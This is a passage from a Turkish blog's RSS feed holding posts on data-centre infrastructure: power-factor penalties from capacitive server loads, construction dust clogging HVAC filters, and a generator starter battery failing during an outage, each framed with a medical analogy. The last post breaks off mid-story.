<p>Veri merkezinde de kabloları plastik kelepçeyle boğup sonra yan keskiyle fiber kesen kişiye altyapıcı denmez.</p>
<p>Yan keskileri ve plastik kelepçeleri veri merkezinin kapısından içeri sokmayın. Kabinlerinize kumaşın zarafetini giydirin; çünkü profesyonellik, detaylardaki merhamette saklıdır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Kablolama</category>
            <category>Velcro</category>
            <category>Zip-Tie</category>
            <category>Donanım</category>
            <category>SysAdmin</category>
            <category>Veri Merkezi</category>
            <category>Altyapı</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/kablo-baglama-sanati-plastik-kelepce-zip-tie-vahseti-vs-velcro-zarafeti/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Güç Faktörü" (Cos φ) Bozulması: Bardağın Köpüğüne Ödenen Reaktif Ceza]]></title>
            <link>http://localhost:3000/blog/post/guc-faktoru-cos-φ-bozulmasi-bardagin-kopugune-odenen-reaktif-ceza</link>
            <guid>guc-faktoru-cos-φ-bozulmasi-bardagin-kopugune-odenen-reaktif-ceza</guid>
            <pubDate>Fri, 01 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Sunucu güç kaynaklarının ve UPS filtrelerinin şebekeye bastığı kontrolsüz kapasitif reaktif yük; ölü boşluk ventilasyonu metaforu ve şirketi sarsan yüz binlerce liralık reaktif ceza faturası.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/guc-faktoru-cos-%CF%86-bozulmasi-bardagin-kopugune-odenen-reaktif-ceza/thumbnail" alt=""> Solunum fizyolojisinde ve mekanik ventilasyonda hekimlerin en çok dikkat ettiği dinamiklerden biri "Ölü Boşluk Ventilasyonu"dur (Dead Space Ventilation - <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>V</mi><mi>D</mi></msub></mrow><annotation encoding="application/x-tex">V_D</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>).</p>
<p>Normal bir insan her nefes alışında ciğerlerine yaklaşık 500 mililitre hava çeker (Tidal Hacim). Fakat bu havanın tamamı alveollere ulaşıp kandaki karbondioksiti oksijenle takas edemez. Yaklaşık 150 mililitresi burun, yutak, soluk borusu ve bronşlarda —yani hiçbir gaz alışverişinin olmadığı "anatomik ölü boşlukta"— asılı kalır. Bu hava içeri girer ve iş yapmadan aynen dışarı çıkar.</p>
<p>Eğer bir akciğer hastalığında veya yanlış ventilatör ayarında bu ölü boşluk oranı yükselirse ne olur? Hasta dakikada kırk kez nefes alıp verir, göğüs kafesi deliler gibi inip kalkar, diyafram muazzam bir enerji harcar; fakat kana tek bir molekül oksijen geçmez! Vücut iş yapmayan bir havanın debisi altında boşu boşuna yorulur, tükenir ve asidoza girer.</p>
<p>Elektrik mühendisliğinde, kurumsal veri merkezlerinde ve endüstriyel tesislerde de tam olarak bu ölü boşluk ventilasyonu gibi çalışan, kabloları boş yere ısıtan ve her ay şirket kasasını sessizce kemiren devasa bir fiziksel maliyet vardır: <strong>Güç Faktörünün (<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>cos</mi><mo>⁡</mo><mi>ϕ</mi></mrow><annotation encoding="application/x-tex">\cos \phi</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mop">cos</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">ϕ</span></span></span></span>) Bozulması ve Kapasitif Reaktif Ceza.</strong></p>
<hr>
<h3>Bira Bardağı Analojisi: Aktif vs. Reaktif Güç</h3>
<p>Elektrik mühendisliğinde güç, tek bir sayıdan ibaret değildir; bir dik üçgenin vektörel toplamıdır (Güç Üçgeni):</p>
<ol>
<li><strong>Aktif Güç (kW - Kilowatt):</strong> Gerçekten iş yapan güçtür. Sunucunun işlemcisinin transistörlerini anahtarlayan, diskin motorunu döndüren, odadaki klimanın kompresörünü çalıştıran, yani faydalı işe dönüşen enerji.</li>
<li><strong>Reaktif Güç (kVAR - Kilovolt-Amper Reaktif):</strong> Manyetik veya elektriksel alan oluşturan indüktif ve kapasitif yüklerin şebekeden çekip, iş yapmadan bir sonraki çeyrek periyotta şebekeye geri pompaladığı "salınım" gücüdür. İş yapmaz; sadece kabloları ısıtır, trafoyu meşgul eder.</li>
<li><strong>Görünür Güç (kVA - Kilovolt-Amper):</strong> Bu ikisinin vektörel bileşkesidir. Şebekenin tesisinize sağlamak zorunda olduğu toplam altyapı kapasitesidir.</li>
</ol>
<p>Elektrikçilerin meşhur bir analojisi vardır: Bir bardak taze doldurulmuş köpüklü bira düşünün.<br>
Bardağın altındaki sıvı bira <strong>Aktif Güçtür (kW)</strong>; susuzluğunuzu giderir, işe yarar.<br>
Üstündeki kalın beyaz köpük ise <strong>Reaktif Güçtür (kVAR)</strong>; işe yaramaz, susuzluğunuzu gidermez ama bardağın hacmini kaplar!<br>
Ve bardağın tamamı <strong>Görünür Güçtür (kVA)</strong>; barmen size o bardağı uzattığında bardağın tamamının parasını ödemek zorundasınızdır!</p>
<p>İşte <strong>Güç Faktörü (<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>cos</mi><mo>⁡</mo><mi>ϕ</mi></mrow><annotation encoding="application/x-tex">\cos \phi</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mop">cos</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">ϕ</span></span></span></span>)</strong>, o bardaktaki sıvının köpüğe olan oranıdır. İdeal bir dünyada bu oran <code>1.0</code> (saf aktif güç) olmalıdır.</p>
<hr>
<h3>Veri Merkezinin Ters Tuzağı: Kapasitif Yük İstilası</h3>
<p>Geleneksel sanayi fabrikalarında güç faktörünü bozan şeyler devasa elektrik motorları, pompalar ve kaynak makineleridir. Bu cihazlar bobinli oldukları için şebekeye <strong>İndüktif Reaktif Yük</strong> basarlar. Fabrika elektrikçileri de panoya kondansatör bankaları (klasik kompanzasyon panosu) koyarak bu indüktif yükü kolayca dengelerler.</p>
<p>Fakat modern bir veri merkezine girdiğinizde tablo tam 180 derece tersine döner!</p>
<p>Bir veri merkezinde ne vardır?</p>
<ul>
<li>Binlerce sunucunun içindeki anahtarlamalı güç kaynakları (SMPS),</li>
<li>Çift dönüşümlü online UPS'lerin giriş ve çıkışındaki devasa AC/DC filtre kapasitörleri,</li>
<li>Sunucu anakartları üzerindeki milyonlarca mikro kapasitör.</li>
</ul>
<p>Bu bileşenlerin tamamı şebekeye bobin gibi değil; devasa bir <strong>Kapasitif Reaktif Yük</strong> basar!<br>
Özellikle veri merkezinin sunucu doluluk oranı düşükken (örneğin kabinler henüz %30 yüklüyken), UPS'lerin içindeki o dev filtre kondansatörleri şebekeyi adeta bir kapasitör tarlasına çevirir.</p>
<p>Ve panodaki klasik kompanzasyon sistemi ne yapar?<br>
Klasik pano sadece indüktif yükü beklemek üzere programlanmıştır. Ortamda indüktif yük görmeyince hiçbir kademeyi devreye sokmaz veya yanlışlıkla daha fazla kondansatör devreye sokarak durumu felakete çevirir!</p>
<hr>
<h3>Ay Sonu Şoku: İkiye Katlanan Fatura</h3>
<p>Ay sonu gelir. Şirketin muhasebe departmanına elektrik dağıtım şirketinden (BEDAŞ, AYEDAŞ, Başkent EDAŞ vb.) aylık fatura ulaşır.</p>
<p>Mali işler müdürü faturaya bakar ve gözleri yuvalarından fırlar:</p>
<ul>
<li>Tüketilen Aktif Enerji Bedeli: <strong>450.000 TL</strong></li>
<li><strong>Kapasitif Reaktif Ceza Bedeli: 280.000 TL!</strong></li>
<li>Toplam Fatura: <strong>730.000 TL!</strong></li>
</ul>
<p>Şirket, tek bir ek sunucu çalıştırmadığı, tek bir ek kilovatt harcamadığı halde sadece şebekeye kontrolsüz kapasitif reaktif yük bastığı için devlete yüz binlerce liralık bir ceza ödemek zorunda kalmıştır!</p>
<p>Enerji Piyasası Düzenleme Kurumu (EPDK) mevzuatı çok katıdır:<br>
Çektiğiniz endüktif reaktif enerji aktif enerjinin <code>%20'sini</code>, <strong>kapasitif reaktif enerji ise aktif enerjinin sadece <code>%15'ini</code> geçtiği an</strong>, tüm o fazla reaktif tüketim cezaya girer ve faturanıza bir tokat gibi çarpar.</p>
<hr>
<h3>Şebekenin Isınması ve Trafo Boğulması</h3>
<p>Reaktif ceza sadece bir para kaybı değildir; fiziksel bir altyapı tehdididir.</p>
<p>Reaktif akım iş yapmaz ama trafonun sargılarından, şalterlerden ve kabloların içinden fiziksel olarak geçer!<br>
O bardağın köpüğü kabloların içinden akarken Joule kanunu (<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>I</mi><mn>2</mn></msup><mo>×</mo><mi>R</mi></mrow><annotation encoding="application/x-tex">I^2 \times R</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span></span></span></span>) gereği kabloları cayır cayır ısıtır:</p>
<ul>
<li>1000 kVA'lık bir trafonuz vardır; ama güç faktörünüz <code>0.75</code>e düştüğü için o trafo 750 kW aktif yükte sanki tam kapasite dolmuş gibi inlemeye başlar!</li>
<li>Şalterler sebepsiz yere aşırı ısınmadan atar.</li>
<li>Nötr iletkeninde yüksek harmoniklerle birleşen reaktif akımlar yangın riski doğurur.</li>
</ul>
<hr>
<h3>Çözüm: Şönt Reaktörler ve Statik VAr Jeneratörleri (SVG)</h3>
<p>Veri merkezlerinde klasik kondansatörlü kompanzasyon panoları bir çöptür. Kapasitif yükü dengelemek için modern mühendislik şu silahları kullanır:</p>
<ol>
<li><strong>Şönt Reaktörler (Shunt Reactors):</strong> Kapasitif yükün panzehiri bobindir! Panoya özel endüktif şönt reaktörler (demir çekirdekli bobinler) bağlanır. Reaktör şebekeden kontrollü olarak indüktif akım çekerek sunucuların bastığı o kapasitif yükü nötrler. Güç faktörü tekrar <code>0.99</code>a oturur.</li>
<li><strong>Statik VAr Jeneratörü (SVG / Aktif Harmonik Filtre):</strong> Mekanik kontaktörlerin yerini alan modern IGBT tabanlı aktif güç elektroniği cihazlarıdır. Şebekenin akımını ve faz açısını nanosaniyeler içinde ölçer; kapasitif yük gördüğü an aynı büyüklükte ters fazda indüktif akım enjekte ederek güç faktörünü anında kusursuz bir çizgiye kilitler.</li>
<li><strong>Akıllı Enerji İzleme:</strong> Mühendis faturanın gelmesini beklememelidir; binanın ana enerji analizöründen (Janitza, Schneider vb.) günlük reaktif oranlar Zabbix veya Grafana üzerinden takip edilmeli, oran %10'u geçtiği an alarm üretilmelidir.</li>
</ol>
<p>Tıpta hastanın ölü boşluk ventilasyonunu düşürmezseniz oksijen tüketiminden kalbi durur.</p>
<p>Veri merkezinde de reaktif gücü dengeleyemezseniz; bardağın işe yaramayan köpüğüne her ay bir servet öder, kablolarınızı boş yere kavurursunuz. Aktif gücü yönettiğiniz kadar görünmez reaktif gücün de efendisi olun.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Elektrik</category>
            <category>Güç Faktörü</category>
            <category>Kompanzasyon</category>
            <category>Veri Merkezi</category>
            <category>Altyapı</category>
            <category>Maliyet</category>
            <category>SysAdmin</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/guc-faktoru-cos-φ-bozulmasi-bardagin-kopugune-odenen-reaktif-ceza/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Dış Ortam Hava Kalitesi": Yan Parseldeki Şantiyenin Veri Merkezini Boğması]]></title>
            <link>http://localhost:3000/blog/post/dis-ortam-hava-kalitesi-yan-parseldeki-santiyenin-veri-merkezini-bogmasi</link>
            <guid>dis-ortam-hava-kalitesi-yan-parseldeki-santiyenin-veri-merkezini-bogmasi</guid>
            <pubDate>Thu, 30 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Steril veri merkezinin komşu parselinde başlayan kentsel dönüşüm ve hafriyat tozu; silikozis gibi HVAC filtrelerini tıkayan çimento partikülleri ve çöken pozitif bina basıncı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/dis-ortam-hava-kalitesi-yan-parseldeki-santiyenin-veri-merkezini-bogmasi/thumbnail" alt=""> Göğüs hastalıkları ve meslek hastalıkları kliniklerinde hekimlerin yüreğini en çok burkan tablolardan biri "Silikozis" ve akut pnömokonyoz vakalarıdır.</p>
<p>Genç yaşta kot kumlama atölyelerinde, taş ocaklarında veya tünel inşaatlarında maskesiz çalışan işçilerin soluduğu o görünmez mikroskobik kristal silika ve çimento tozları; solunum yollarının tüm doğal filtrelerini aşarak doğrudan akciğerlerin en derin odacıklarına, alveollere kadar iner.</p>
<p>Vücudun savunma hücreleri (makrofajlar) o mineral parçacıklarını yutmaya çalışır ama sindiremez; parçalanır ve geride kimyasal bir iltihap bırakırlar. Akciğer dokusu zamanla esnekliğini kaybeder, bağ dokusuna dönüşür (fibrozis) ve adeta taşlaşır. Hasta en sonunda kendi taşlaşmış ciğerlerinin içinde nefes alamayarak boğulur. Dışarıdaki bir mikronluk toz, bir insan bedenini içeriden kurutmuştur.</p>
<p>Yazılım ve sistem mühendisleri veri merkezlerini daima dış dünyadan tamamen izole, steril, bulutların üzerinde yaşayan soyut bir mabet gibi hayal ederler. Epoksi zeminler, galoşlar, antistatik kaplamalar, pürüzsüz kabinler...</p>
<p>Oysa o veri merkezi bir fanusun içinde yaşamaz; doğrudan fiziksel bir coğrafyanın, bir şehrin bağrında nefes alır.</p>
<p>Ve o steril mabedin dış duvarının hemen ötesindeki komşu parselde bir kepçenin toprağa saplanıp kentsel dönüşüm hafriyatına başladığı o pazartesi sabahı, veri merkezinin silikozis sınavı başlar.</p>
<hr>
<h3>Temiz Oda İllüzyonu ve Pozitif Basınç Prensibi</h3>
<p>Modern bir Tier-3 veri merkezinin beyaz odası (white space), uluslararası temiz oda standartlarına göre (ISO 14644-1 Class 8) tasarlanır. Yani odanın içindeki metreküp başına düşen toz partikülü sayısı katı kurallarla sınırlandırılmıştır.</p>
<p>Bu steriliteyi korumanın tek bir fiziksel sırrı vardır: <strong>Pozitif Hava Basıncı (Positive Pressure).</strong></p>
<p>Beyaz odanın içine, dışarıdaki atmosfer basıncından biraz daha yüksek (yaklaşık 15 ila 25 Pascal daha fazla) bir hava basılır.<br>
Böylece veri merkezinin kapısı her açıldığında; dışarıdaki hava içeri giremez, aksine içerideki temiz hava dışarıya doğru kuvvetli bir rüzgar gibi fırlar! Tıpkı hastanelerin ameliyathanelerinde veya yoğun bakım ünitelerinde mikropların içeri sızmasını engelleyen pozitif basınç kalkanı gibi.</p>
<p>Peki odayı pozitif basınçta tutmak için gereken o binlerce metreküp taze hava nereden gelir?<br>
Elbette binanın çatısındaki veya cephesindeki devasa <strong>Taze Hava Santrallerinden (Make-up Air Units / AHU).</strong></p>
<p>Ve işte kentsel dönüşümün amansız kepçesi tam burada devreye girer.</p>
<hr>
<h3>Yan Parselde Başlayan Kıyamet: Çimento Fırtınası</h3>
<p>Pazartesi sabahı saat 08:30. Veri merkezinin bitişiğindeki 4 katlı eski bir bina kentsel dönüşüm kapsamında yıkılmaya başlar.<br>
Ekskavatörün hidrolik kırıcısı eski betona her vurduğunda, tonlarca kalsiyum silikat, çimento tozu, alçıpan partikülleri ve kireç tozu devasa beyaz bir sis bulutu halinde gökyüzüne yükselir.</p>
<p>O sırada rüzgar yön değiştirir ve o toz bulutunu doğrudan veri merkezinin arka cephesine yapıştırır.</p>
<p>Binanın taze hava santralleri ne yapar?<br>
İçerideki pozitif basıncı koruyabilmek için dışarıdan deliler gibi hava emmektedir. O devasa çimento ve silika bulutunu adeta bir elektrikli süpürge gibi içine çeker!</p>
<p>Santralin filtre kademelerinde felaket başlar:</p>
<ol>
<li><strong>G4 Ön Filtreler (Kaba Filtre):</strong> Normalde üç ayda bir değiştirilen sentetik elyaf filtreler, sadece <strong>4 saat içinde</strong> parmak kalınlığında gri bir çimento hamuruyla sıvanır!</li>
<li><strong>F7 / F9 Hassas Torba Filtreler:</strong> İnce gözenekli torba filtreler tıkanır; filtrelerin üzerindeki fark basıncı (Differential Pressure - <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Δ</mi><mi>P</mi></mrow><annotation encoding="application/x-tex">\Delta P</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Δ</span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span></span>) normalin 5 katına fırlar! Filtre kumaşları hava basıncından dolayı yırtılma noktasına kadar şişer.</li>
<li><strong>Santral Fanlarının Boğulması:</strong> Taze hava emiş fanları tıkalı filtrelerin arkasında vakum yaratır; içeriye taze hava basamaz hale gelir.</li>
</ol>
<hr>
<h3>Pozitif Basıncın Çöküşü ve İçeri Çekilen Kir</h3>
<p>Taze hava girişi tıkandığı o anda, veri merkezinin en büyük savunma kalkanı yerle bir olur: <strong>Pozitif Basınç Sıfırlanır!</strong></p>
<p>Hatta içerideki egzoz fanları çalışmaya devam ettiği için veri merkezinin içi aniden <strong>Negatif Basınca (Vakum)</strong> düşer!</p>
<p>Artık kapı açıldığında içeriden dışarı hava üflemez; kapı her açıldığında koridordaki, otoparktaki, sokaktaki tüm kirli hava ve toz zerrecikleri açgözlülükle kabin odasının içine doğru emilir!<br>
Yükseltilmiş tabanın kablo geçiş deliklerinden, asma tavanın kenarlarından, yangın kapılarının alt fitillerinden odaya sinsi bir toz sızıntısı başlar.</p>
<p>Teknisyen kabin odasına girer. Beyaz eldivenini sunucu kabininin üstüne sürter.<br>
Eldiven bembeyaz çimento tozuyla kaplanır!</p>
<hr>
<h3>Silikonun Katili: Çimento Tozunun Kimyasal Suikastı</h3>
<p>Sıradan ev tozu bile donanıma zararlıdır; fakat inşaat tozu, kireç ve çimento doğrudan bir kimyasal silahtır:</p>
<ol>
<li><strong>Termal Battaniye:</strong> Çimento tozu mikroskobik ölçekte çok yoğundur. Sunucuların içine çekildiğinde, işlemcilerin üzerindeki daracık alüminyum soğutucu peteklerin (heatsink) arasına doluşur. Fanlar ne kadar hızlı dönerse dönsün, o toz tabakası mükemmel bir <strong>termal yalıtkan</strong> görevi görür! İşlemcinin ısısı havaya aktarılamaz. Sunucular 90 dereceye vurup termal shutdown yer.</li>
<li><strong>Nemle Birleşen Aşındırıcı Asit/Baz:</strong> Çimento tozu kalsiyum oksit içerir. Veri merkezinin nemli havasıyla (%50 RH) temas ettiği anda bazik (alkali) bir kimyasal reaksiyona girer. Anakart üzerindeki lehim bacaklarını, altın kaplama PCIe slotlarını ve bakır yolları kimyasal olarak aşındırmaya ve korozyona uğratmaya başlar!</li>
<li><strong>Mekanik Fan Kilitlenmesi:</strong> 20.000 devirle dönen minik sunucu fanlarının bilyeli yataklarına (ball bearings) dolan o aşındırıcı silika parçacıkları, fanların motorunu birkaç gün içinde kilitler.</li>
</ol>
<hr>
<h3>Dış Tehditlere Karşı Tesis Kalkanı</h3>
<p>Bir veri merkezi yöneticisi sadece sunucu ekranlarına değil; binanın dışındaki sokağa, komşu binalara ve belediyenin imar planlarına da bakmak zorundadır:</p>
<ul>
<li><strong>Diferansiyel Basınç Sensörleri ve Alarmı:</strong> HVAC filtrelerinin giriş ve çıkışına takılan fark basınç sensörleri (Magnehelic / DPT) anlık izlenmelidir. Filtre tıkandığı an bina yönetim sistemine (BMS) acil alarm düşmeli ve teknisyen beklemeden filtre kasedini yenilemelidir.</li>
<li><strong>Acil Durum Resirkülasyon Modu (Damper Kapatma):</strong> Dışarıda yoğun bir hafriyat, yangın veya toz fırtınası olduğunda; taze hava emiş damperleri tamamen kapatılabilmeli ve veri merkezi geçici olarak <strong>%100 iç hava sirkülasyonu (Full Recirculation)</strong> moduna geçirilebilmelidir.</li>
<li><strong>Çok Kademeli Dış Filtreleme:</strong> İnşaat riski yüksek kentsel alanlardaki veri merkezlerinde standart filtrelerin önüne yıkanabilir metal kasetli kaba kum/çakıl filtreleri ve elektrostatik toz tutucular eklenmelidir.</li>
<li><strong>Hukuki ve İdari Müdahale:</strong> Komşu parselde hafriyat yapan müteahhitle derhal iletişime geçilmeli; inşaat sahasının arazözlerle sürekli sulanması, toz perdesi çekilmesi yasal mevzuat (Çevre ve Şehircilik Bakanlığı Toz Emisyon Yönetmeliği) gereği zorunlu tutulmalıdır.</li>
</ul>
<p>Tıpta maden işçisinin ciğerini korumayan maske o insanı ölüme mahkûm eder.</p>
<p>Veri merkezinde de dışarıdaki toza karşı filtrelerini savunmayan bir altyapı; en pahalı sanallaştırma kümelerinin bir avuç çimento tozunun altında can çekişmesini izlemek zorunda kalır. İçeriyi temiz tutmak istiyorsanız, dışarıdaki fırtınaya gözlerinizi kapatamazsınız.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Veri Merkezi</category>
            <category>HVAC</category>
            <category>Hava Kalitesi</category>
            <category>İklimlendirme</category>
            <category>Altyapı</category>
            <category>Filtre</category>
            <category>İş Sürekliliği</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/dis-ortam-hava-kalitesi-yan-parseldeki-santiyenin-veri-merkezini-bogmasi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Jeneratör Marş Aküsü" Unutkanlığı: Aküsü Biten İki Milyonluk Heykel]]></title>
            <link>http://localhost:3000/blog/post/jenerator-mars-akusu-unutkanligi-akusu-biten-iki-milyonluk-heykel</link>
            <guid>jenerator-mars-akusu-unutkanligi-akusu-biten-iki-milyonluk-heykel</guid>
            <pubDate>Wed, 29 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Milyon liralık devasa dizel jeneratörün bakımları tamken elektrik kesildiğinde marş aküsünün bitik olması yüzünden sadece "tık" sesi çıkarıp susması; defibrilatör bataryası analojisi ve marş trajedisi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/jenerator-mars-akusu-unutkanligi-akusu-biten-iki-milyonluk-heykel/thumbnail" alt=""> Acil serviste ve ambulansta çalışan bir sağlık personelinin yaşayabileceği en korkunç kabus nedir biliyor musunuz?</p>
<p>Ventriküler fibrilasyona (kalbin elektriksel kaosa girip titreşmesi) girmiş bir hasta sedyede yatmaktadır. Hemen defibrilatörü açarsınız. Kaşıkları hastanın göğsüne dayarsınız: Biri sternuma, biri apeksine. Kaşığın üzerindeki sarı düğmeye basıp bağırırsınız: <em>"İki yüz Joule şarj et!"</em></p>
<p>Cihazın o bildik, tırmanan ince şarj sesini çıkarması gerekir: <em>Biiiiiiip...</em><br>
Fakat o ses gelmez.<br>
Ekranda kırmızı bir yazı belirir ve cihaz sönük bir şekilde öter:<br>
<code>DEFIBRILLATOR BATTERY DEPLETED. CHARGE FAILED.</code></p>
<p>Cihazın fişi duvardaki prize tam oturmamıştır veya cihazın içindeki o küçük 12 Volt kurşun-asit batarya üç yıldır değiştirilmediği için şarj tutamaz hale gelmiştir. Elinizde yüz binlerce liralık bir elektroşok cihazı vardır; odaya toplanmış hekimler vardır; ama o kalbi tek bir şokla ritme döndürecek enerjiyi üretemezsiniz. Hasta, bir batarya ihmali yüzünden gözlerinizin önünde monitördeki düz çizgiye (asistoliye) kayar.</p>
<p>Veri merkezlerinde, bankacılık altyapılarında ve telekom santrallerinde de tam olarak bu defibrilatör çaresizliğini yaşatan, görünce insanı kahreden meşhur bir altyapı trajedisi vardır: <strong>Jeneratörün Marş Aküsünün (Starter Battery) Boşalması.</strong></p>
<hr>
<h3>İki Milyon Liralık Çelik Heykel</h3>
<p>Bir veri merkezinin bahçesine girdiğinizde devasa bir konteyner görürsünüz. İçinde 2.000 kVA'lık, 16 silindirli, iki buçuk metre yüksekliğinde döküm çelikten bir canavar yatar: Caterpillar, Cummins veya MTU dizel jeneratör.</p>
<p>Tesis yöneticisi gururla anlatır:</p>
<ul>
<li><em>"Motor yağını geçen ay yeniledik, orijinal 15W-40 sentetik koyduk."</em></li>
<li><em>"Depomuzda 5.000 litre Euro-Diesel var."</em></li>
<li><em>"Hava ve yakıt filtrelerimiz sıfır."</em></li>
<li><em>"Egzoz hattımız krom kaplama."</em></li>
</ul>
<p>Her şey kusursuz görünür. Şirket jeneratöre bir servet ödemiştir.<br>
Peki o 16 silindirli, binlerce kiloluk devasa çelik krank milini sıfır devirden alıp bir saniyede 1500 devir/dakikaya fırlatacak olan o ilk kıvılcımı, o ilk mekanik darbeyi ne sağlar?</p>
<p>Motorun hemen altında, şasinin köşesine iki cıvatayla tutturulmuş <strong>iki adet standart 12 Volt 105 Ah kurşun-asit akü!</strong><br>
Yani bildiğiniz sıradan bir kamyon aküsü!</p>
<p>Ve o iki milyon liralık dev jeneratörün hayatta kalıp kalamayacağı; işte o köşede unutulmuş 100 dolarlık iki akünün sağlığına bağlıdır.</p>
<hr>
<h3>Redresör Sigortası Attığında Başlayan Geri Sayım</h3>
<p>Jeneratör marş aküleri otomobil aküleri gibi değildir; otomobilde motor çalıştıkça alternatör aküyü şarj eder. Jeneratör ise aylarca durur. Bu yüzden akülerin sürekli diri kalması için panoda küçük bir şebeke şarj cihazı —<strong>Akü Şarj Redresörü (Battery Charger)</strong>— bulunur. Redresör prize takılıdır ve akülere aralıksız 27.6 Volt şamandıra şarjı basar.</p>
<p>Fakat jeneratör konteynerinin içinde görünmez bir kaza yaşanır:<br>
Üç ay önce yapılan bir temizlik sırasında redresörün minik 2 Amperlik cam sigortası atar; ya da redresörün çıkış kablosundaki klemens titreşimden dolayı gevşer.</p>
<p>Jeneratörün üzerinde hiçbir büyük alarm yanmaz. Çünkü jeneratörün ana kontrol kartı (DeepSea, ComAp vb.) aküdeki kalan son voltajla LCD ekranını aydınlatmaya devam eder. Ekranda <code>12.2V</code> görünür. Mühendis uzaktan bakar: "Ekran yanıyor, demek ki elektrik var."</p>
<p>Oysa akü şarj almamaktadır!<br>
Akü kimyasal olarak kendi kendine deşarj (self-discharge) olmaya başlar. Plakalar sülfatlaşır. Akünün motoru çevirebilmesi için gereken o anlık <strong>900 Amperlik Soğuk Marş Akımı (CCA - Cold Cranking Amps)</strong> kapasitesi, günbegün eriyerek 200 Ampere kadar düşer.</p>
<p>Akü artık bir güç kaynağı değil; sadece boş bir hayalettir.</p>
<hr>
<h3>Şebeke Kesildiği An: O Meşhur "TIK" Sesi</h3>
<p>Ve o beklenen fırtına gecesi gelir.<br>
Şehir elektriği küt diye kesilir.<br>
Veri merkezinin içindeki UPS'ler aküye geçer; süre işlemeye başlar: <em>10 dakika... 9 dakika...</em></p>
<p>Jeneratör kontrol ünitesi elektrik kesintisini algılar. Röle çeker: "ENGINE START!"<br>
Marş motorunun selenoidine sinyal gider.</p>
<p>Normalde beklenen ses şudur:<br>
<em>Vıy-vıy-vıy... GÜMMMM!</em> (Ve motorun kükreyişi).</p>
<p>Fakat bahçedeki konteynerden yükselen ses sadece şudur:<br>
<strong>"TIK."</strong></p>
<p>Küçücük, cılız, mekanik bir tıkırtı.<br>
Akü, marş motorunun kalın dişlisini volana doğru iter; fakat o dev krank milini bir santim bile döndürecek amper gücüne sahip olmadığı için voltaj anında 6 Volta çakılır!<br>
Jeneratör kontrol paneli ekranı kararır, yeniden başlar:<br>
<code>CRITICAL ALARM: CRANKING FAILURE / LOW BATTERY VOLTAGE.</code></p>
<p>Motor dönmemiştir bile!<br>
İki milyon liralık dev dizel motor, deposundaki 5.000 litre mazotla birlikte bahçenin ortasında tamamen işe yaramaz, dilsiz, sağır bir demir yığını gibi karanlıkta öylece durmaktadır.</p>
<hr>
<h3>Karanlıkta Takviye Kablosu Arama Rezaleti</h3>
<p>Veri merkezinde panik başlar.<br>
UPS süresi: <em>4 dakika kaldı.</em></p>
<p>Kıdemli tesis müdürü ve elektrikçi panikle bahçeye koşar. Feneri jeneratöre tutarlar. Marş motorunun başındaki akü kutup başlarına voltmetreyi dayarlar: <code>9.4 Volt.</code><br>
Akü ölmüştür.</p>
<p>Ve o an, Türkiye'deki kurumsal tesislerin en absürt, en utanç verici sahnesi yaşanır:<br>
Tesis müdürü kendi şahsi otomobilini jeneratör konteynerinin yanına yanaştırır!<br>
Bagajdan paslı bir <strong>akü takviye kablosu</strong> çıkarılır.<br>
